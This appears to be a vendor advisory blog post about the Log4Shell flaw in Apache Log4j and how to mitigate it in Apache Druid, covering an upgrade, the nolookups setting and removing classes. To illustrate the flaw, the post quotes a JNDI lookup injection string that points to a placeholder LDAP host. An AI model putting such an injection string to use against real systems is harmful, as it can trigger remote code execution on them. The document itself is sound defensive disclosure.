Log4Shell Vulnerability and Mitigation

A critical vulnerability has recently been discovered in Apache Log4j, a popular logging library for Java projects. Because we utilize Log4j in Apache Druid, Imply’s distribution of Druid, and the urgent need to investigate the use of Log4j by other technologies we rely on, we immediately went into “all hands on deck” mode to evaluate the impact and release new versions of every affected component.

In this post, we wanted to share some details about the vulnerability and how to mitigate the issue. Mitigation steps mostly cover Druid, if you are an Imply customer you have already received an email detailing mitigations and upgrade paths for your specific deployment type.

The Vulnerability

In short, Log4j is a library that many projects rely on for their logging needs. Recently it was discovered that Log4j had a curious feature enabled by default; if the logged text contains a specially crafted message then Log4j will attempt to connect to the specified target. For example, if ${jndi:ldap://someurl.com/a} is logged then Log4j will attempt to connect to someurl.com, which is pretty bad, and if someurl.com responds in just the right way arbitrary code could be executed by the process that did the logging, which is horrible.

(image credit)

This is very dangerous as most applications, Druid included, are not designed with an adversarial logging framework in mind. It is common for text entered by a potentially malicious user to end up being logged. However, the logged text is never expected to execute an action or generate a remote response.

The Mitigation

For Imply customers, we have endeavored to implement the least risky mitigation approaches. If you are an Imply customer, you should have already received upgrade and mitigation instructions tailored to your specific deployment. We have released a new version of every supported product line, with a targeted low-risk fix, and you should upgrade. If you are using a managed version of Imply (Cloud or Private) it is only a few clicks! If you are unable to upgrade to the patched version then we have also delivered a mitigation path that mitigates the vulnerability.

If you are using Apache Druid we recommend that you upgrade to Druid 0.22.1.

If you are unable to upgrade Druid at this time, we recommend deploying a mitigation. Please refer to the Log4j announcement for details on possible mitigations.

Different Log4j versions have different mitigation options. Check the lib directory of your Druid installation for the log4j-core jar to see what version of Log4j you have. Recent versions of Druid use Log4j 2.8.2. Two possible mitigations for Log4j 2.8.2 are:

1. Specify %m{nolookups} in the PatternLayout configuration of your log4j2.xml file. Druid installations may have multiple log4j2.xml files; be sure to update all of them.

2. Remove the JndiLookup and JndiManager classes from the log4j-core jar.

These mitigations require a cluster restart to take effect.